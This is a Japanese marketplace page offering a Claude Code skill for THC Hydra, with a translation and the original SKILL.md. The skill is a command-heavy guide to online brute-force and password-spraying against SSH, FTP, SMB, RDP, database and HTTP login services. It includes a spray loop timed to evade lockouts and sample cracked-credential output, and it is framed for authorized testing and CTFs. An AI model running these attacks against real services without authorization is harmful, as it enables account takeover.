jpskill.com
📦 その他 コミュニティ

hydra

THC Hydraを使って、SSH/FTP/HTTPなどのサービスに対するログイン試行やパスワードリスト攻撃を行い、セキュリティ強度を検証したり、脆弱性調査やCTFのログイン攻略に役立てたりするSkill。

📜 元の英語説明(参考)

Run online login brute-force and password spraying with THC Hydra. Use when a user asks to test the login strength of SSH/FTP/HTTP/SMB/RDP services they own, validate a credential list against a target during an authorized engagement, or run a CTF login brute challenge.

🇯🇵 日本人クリエイター向け解説

一言でいうと

THC Hydraを使って、SSH/FTP/HTTPなどのサービスに対するログイン試行やパスワードリスト攻撃を行い、セキュリティ強度を検証したり、脆弱性調査やCTFのログイン攻略に役立てたりするSkill。

※ jpskill.com 編集部が日本のビジネス現場向けに補足した解説です。Skill本体の挙動とは独立した参考情報です。

⚡ おすすめ: コマンド1行でインストール(60秒)

下記のコマンドをコピーしてターミナル(Mac/Linux)または PowerShell(Windows)に貼り付けてください。 ダウンロード → 解凍 → 配置まで全自動。

🍎 Mac / 🐧 Linux
mkdir -p ~/.claude/skills && cd ~/.claude/skills && curl -L -o hydra.zip https://jpskill.com/download/14994.zip && unzip -o hydra.zip && rm hydra.zip
🪟 Windows (PowerShell)
$d = "$env:USERPROFILE\.claude\skills"; ni -Force -ItemType Directory $d | Out-Null; iwr https://jpskill.com/download/14994.zip -OutFile "$d\hydra.zip"; Expand-Archive "$d\hydra.zip" -DestinationPath $d -Force; ri "$d\hydra.zip"

完了後、Claude Code を再起動 → 普通に「動画プロンプト作って」のように話しかけるだけで自動発動します。

💾 手動でダウンロードしたい(コマンドが難しい人向け)
  1. 1. 下の青いボタンを押して hydra.zip をダウンロード
  2. 2. ZIPファイルをダブルクリックで解凍 → hydra フォルダができる
  3. 3. そのフォルダを C:\Users\あなたの名前\.claude\skills\(Win)または ~/.claude/skills/(Mac)へ移動
  4. 4. Claude Code を再起動

⚠️ ダウンロード・利用は自己責任でお願いします。当サイトは内容・動作・安全性について責任を負いません。

🎯 このSkillでできること

下記の説明文を読むと、このSkillがあなたに何をしてくれるかが分かります。Claudeにこの分野の依頼をすると、自動で発動します。

📦 インストール方法 (3ステップ)

  1. 1. 上の「ダウンロード」ボタンを押して .skill ファイルを取得
  2. 2. ファイル名の拡張子を .skill から .zip に変えて展開(macは自動展開可)
  3. 3. 展開してできたフォルダを、ホームフォルダの .claude/skills/ に置く
    • · macOS / Linux: ~/.claude/skills/
    • · Windows: %USERPROFILE%\.claude\skills\

Claude Code を再起動すれば完了。「このSkillを使って…」と話しかけなくても、関連する依頼で自動的に呼び出されます。

詳しい使い方ガイドを見る →
最終更新
2026-05-18
取得日時
2026-05-18
同梱ファイル
1

📖 Skill本文(日本語訳)

※ 原文(英語/中国語)を Gemini で日本語化したものです。Claude 自身は原文を読みます。誤訳がある場合は原文をご確認ください。

THC Hydra

概要

Hydra は、オンラインの認証情報をテストするための標準的なツールです。これは、ライブサービス(SSH、FTP、HTTP フォーム、SMB、RDP、MySQL、PostgreSQL、Telnet、VNC など、50 種類以上)に対してユーザー名/パスワードのペアを投入し、有効な組み合わせを報告します。オフラインのクラッカー(John、hashcat)とは異なり、Hydra はライブサービスを攻撃します。レート制限、アカウントロックアウト、および警告システムがすべて適用されます。許可されたセキュリティテストおよび CTF でのみ使用してください。

手順

ステップ 1: ユーザー名とパスワードの準備

# 1行に1つのエンティティ
cat > users.txt <<'EOF'
admin
root
postgres
svc_backup
jdoe
EOF

# 妥当なパスワードリスト(rockyou は使用しないでください。1400 万行はオンラインでは無意味です)
cat > passwords.txt <<'EOF'
Summer2026!
ChangeMe123
Winter2025!
Welcome1
Password1
EOF

# Kali の一般的なワードリスト
ls /usr/share/wordlists/seclists/Passwords/Common-Credentials/

ステップ 2: 特定のサービスへの攻撃

# SSH
hydra -L users.txt -P passwords.txt -t 4 -f -V ssh://10.0.0.5
# -t 4  スレッド数(SSH ではロックアウトを避けるために低く保ちます)
# -f    ホストごとに最初の有効なペアが見つかったら停止
# -V    verbose — すべての試行を出力

# FTP
hydra -L users.txt -P passwords.txt ftp://10.0.0.5 -f

# SMB (ドメインアカウント)
hydra -L users.txt -P passwords.txt smb://10.0.0.10 -f

# RDP (遅い — RDP 自体がレート制限をします)
hydra -L users.txt -P passwords.txt rdp://10.0.0.20 -t 1 -f

# MySQL / PostgreSQL
hydra -L users.txt -P passwords.txt mysql://10.0.0.5
hydra -L users.txt -P passwords.txt postgres://10.0.0.5

ステップ 3: HTTP フォーム攻撃

# POST フォーム — 最初にターゲットフォームを検査します
# <form action="/login" method="POST">
#   <input name="username">
#   <input name="password">
# </form>
# 失敗した場合、レスポンスには以下が含まれます: "Invalid credentials"

hydra -L users.txt -P passwords.txt 10.0.0.5 http-post-form \
  '/login:username=^USER^&password=^PASS^:F=Invalid credentials' \
  -t 4 -f -V

# Cookie とカスタムヘッダーを使用した HTTPS
hydra -L users.txt -P passwords.txt example.com -s 443 https-post-form \
  '/api/auth:user=^USER^&pass=^PASS^:F=error\":\"bad_creds:H=Cookie\: csrftoken=abc123' \
  -t 2 -f

# Basic 認証
hydra -L users.txt -P passwords.txt 10.0.0.5 http-get /admin/

ステップ 4: パスワードスプレー (ブルートフォースよりも安全)

# 多くのユーザーに対して 1 つのパスワード — ロックアウトを回避
hydra -L all-users.txt -p 'Summer2026!' ssh://10.0.0.5 -t 1 -W 3 -f

# 遅延を伴う連続的なスプレー
for pw in 'Spring2026!' 'Summer2026!' 'Welcome123!'; do
  hydra -L all-users.txt -p "$pw" ssh://10.0.0.5 -t 1 -W 3
  sleep 3600  # 1 時間に 1 つのパスワード — ロックアウトの閾値を十分に下回ります
done

ステップ 5: 出力と再開

# 結果を保存
hydra -L users.txt -P passwords.txt ssh://10.0.0.5 \
  -o results.txt -f

# 中断後の復元
hydra -R
# ./hydra.restore を読み込み、再開します

例 1: 独自の SSH Bastion の監査

# エンゲージメント契約書に記載: "bastion.example.com のサービスアカウントのリストに対する認証情報の強度をテストする権限があります。"

cat > svc-users.txt <<'EOF'
svc_backup
svc_ci
svc_monitor
svc_deploy
EOF

# 組織に合わせて調整された 1000 エントリのワードリスト
cat > targeted.txt <<'EOF'
Acme2026!
Acme2025!
BackupService1
CiRunner!
MonitorAcme!
EOF

hydra -L svc-users.txt -P targeted.txt \
  -t 2 -W 5 -f -V \
  -o audit-ssh.log \
  ssh://bastion.example.com

# 期待される出力:
# [22][ssh] host: bastion.example.com  login: svc_backup  password: BackupService1
# 脆弱な認証情報を報告し、ローテーションして、完了。

例 2: CTF — ログインフォームを突破

# 最初に偵察
curl -sS -X POST http://10.10.10.50/login -d 'username=wrong&password=wrong' -i
# レスポンスには以下が含まれます: "Login failed. Try again."

# 一致する失敗文字列を使用した Hydra
hydra -l admin -P /usr/share/wordlists/rockyou.txt \
  10.10.10.50 http-post-form \
  '/login:username=^USER^&password=^PASS^:F=Login failed' \
  -t 16 -f

# [80][http-post-form] host: 10.10.10.50  login: admin  password: letmein2024

ガイドライン

  • 所有しているシステム、または書面による許可を得ているシステムのみを対象としてください。 サードパーティのサービスに対するオンラインブルートフォースは違法であり、目立ちます。
  • オンライン攻撃はアカウントロックアウトを引き起こします。ユーザーごとのブルートフォースを行う前に、パスワードスプレー(1 つのパスワード × 多くのユーザー)から始めてください。
  • スレッド数を少なくしてください (-t 1..4)。同時実行性が高いと、サービスがレート制限を行う際に誤検知が発生し、防御側に警告を発します。
  • 常にターゲットフォームを手動で検査して、実際の失敗文字列を特定してください。間違った F= の一致は、すべての試行を成功に見せかけます。
  • ロックアウトが発生しやすいサービス (AD、RDP) では、試行間隔に -W seconds を使用します。
  • Hydra はライブサービス用です。キャプチャされたハッシュの場合は、John または hashcat に切り替えてください。
  • Web アプリでは、より深いカスタマイズ (ヘッダー、JSON ボディ、CSRF トークン) のために ffuf または wfuzz を優先してください。Hydra は高速ですが、柔軟性に欠けます。
  • すべてのセッションを -o でログに記録し、調査結果を再現し、最終レポートにフィードできるようにします。
📜 原文 SKILL.md(Claudeが読む英語/中国語)を展開

THC Hydra

Overview

Hydra is the standard online credential testing tool: it throws username/password pairs at live services (SSH, FTP, HTTP forms, SMB, RDP, MySQL, PostgreSQL, Telnet, VNC, and 50+ more) and reports valid combinations. Unlike offline crackers (John, hashcat), Hydra attacks live services — rate limits, account lockouts, and alerting systems all apply. Use only for authorized security testing and CTFs.

Instructions

Step 1: Prepare Usernames and Passwords

# One entity per line
cat > users.txt <<'EOF'
admin
root
postgres
svc_backup
jdoe
EOF

# Reasonable password list (don't use rockyou — 14M lines is pointless online)
cat > passwords.txt <<'EOF'
Summer2026!
ChangeMe123
Winter2025!
Welcome1
Password1
EOF

# Common wordlists on Kali
ls /usr/share/wordlists/seclists/Passwords/Common-Credentials/

Step 2: Attack Specific Services

# SSH
hydra -L users.txt -P passwords.txt -t 4 -f -V ssh://10.0.0.5
# -t 4  threads (keep low on SSH to avoid lockouts)
# -f    stop after first valid pair per host
# -V    verbose — print every attempt

# FTP
hydra -L users.txt -P passwords.txt ftp://10.0.0.5 -f

# SMB (domain accounts)
hydra -L users.txt -P passwords.txt smb://10.0.0.10 -f

# RDP (slow — RDP itself rate-limits)
hydra -L users.txt -P passwords.txt rdp://10.0.0.20 -t 1 -f

# MySQL / PostgreSQL
hydra -L users.txt -P passwords.txt mysql://10.0.0.5
hydra -L users.txt -P passwords.txt postgres://10.0.0.5

Step 3: HTTP Form Attacks

# POST form — inspect the target form first
# <form action="/login" method="POST">
#   <input name="username">
#   <input name="password">
# </form>
# On failure, the response contains: "Invalid credentials"

hydra -L users.txt -P passwords.txt 10.0.0.5 http-post-form \
  '/login:username=^USER^&password=^PASS^:F=Invalid credentials' \
  -t 4 -f -V

# HTTPS with cookies and custom headers
hydra -L users.txt -P passwords.txt example.com -s 443 https-post-form \
  '/api/auth:user=^USER^&pass=^PASS^:F=error\":\"bad_creds:H=Cookie\: csrftoken=abc123' \
  -t 2 -f

# Basic auth
hydra -L users.txt -P passwords.txt 10.0.0.5 http-get /admin/

Step 4: Password Spraying (Safer than Brute-Force)

# One password across many users — avoids lockouts
hydra -L all-users.txt -p 'Summer2026!' ssh://10.0.0.5 -t 1 -W 3 -f

# Sequential sprays with delay
for pw in 'Spring2026!' 'Summer2026!' 'Welcome123!'; do
  hydra -L all-users.txt -p "$pw" ssh://10.0.0.5 -t 1 -W 3
  sleep 3600  # one password per hour — well under lockout thresholds
done

Step 5: Output and Resume

# Save results
hydra -L users.txt -P passwords.txt ssh://10.0.0.5 \
  -o results.txt -f

# Restore after interruption
hydra -R
# Reads ./hydra.restore and resumes

Examples

Example 1: Audit Your Own SSH Bastion

# In the engagement agreement: "Authorized to test bastion.example.com for
# credential strength on a list of service accounts."

cat > svc-users.txt <<'EOF'
svc_backup
svc_ci
svc_monitor
svc_deploy
EOF

# 1000-entry wordlist tailored to the org
cat > targeted.txt <<'EOF'
Acme2026!
Acme2025!
BackupService1
CiRunner!
MonitorAcme!
EOF

hydra -L svc-users.txt -P targeted.txt \
  -t 2 -W 5 -f -V \
  -o audit-ssh.log \
  ssh://bastion.example.com

# Expected output:
# [22][ssh] host: bastion.example.com  login: svc_backup  password: BackupService1
# Report weak credentials, rotate, done.

Example 2: CTF — Break a Login Form

# Reconnaissance first
curl -sS -X POST http://10.10.10.50/login -d 'username=wrong&password=wrong' -i
# Response contains: "Login failed. Try again."

# Hydra with the matching failure string
hydra -l admin -P /usr/share/wordlists/rockyou.txt \
  10.10.10.50 http-post-form \
  '/login:username=^USER^&password=^PASS^:F=Login failed' \
  -t 16 -f

# [80][http-post-form] host: 10.10.10.50  login: admin  password: letmein2024

Guidelines

  • Only target systems you own or have written authorization for. Online brute-force against third-party services is illegal and loud.
  • Online attacks trip account lockouts — start with password spraying (one password × many users) before doing per-user brute force.
  • Keep thread counts low (-t 1..4). High concurrency causes false negatives when services rate-limit, and alerts defenders.
  • Always inspect the target form manually first to identify the real failure string — wrong F= matches make every attempt look successful.
  • Use -W seconds between attempts on lockout-prone services (AD, RDP).
  • Hydra is for live services. For captured hashes, switch to John or hashcat.
  • On web apps, prefer ffuf or wfuzz for deeper customization (headers, JSON bodies, CSRF tokens). Hydra is faster but less flexible.
  • Log every session with -o so you can reproduce findings and feed them into the final report.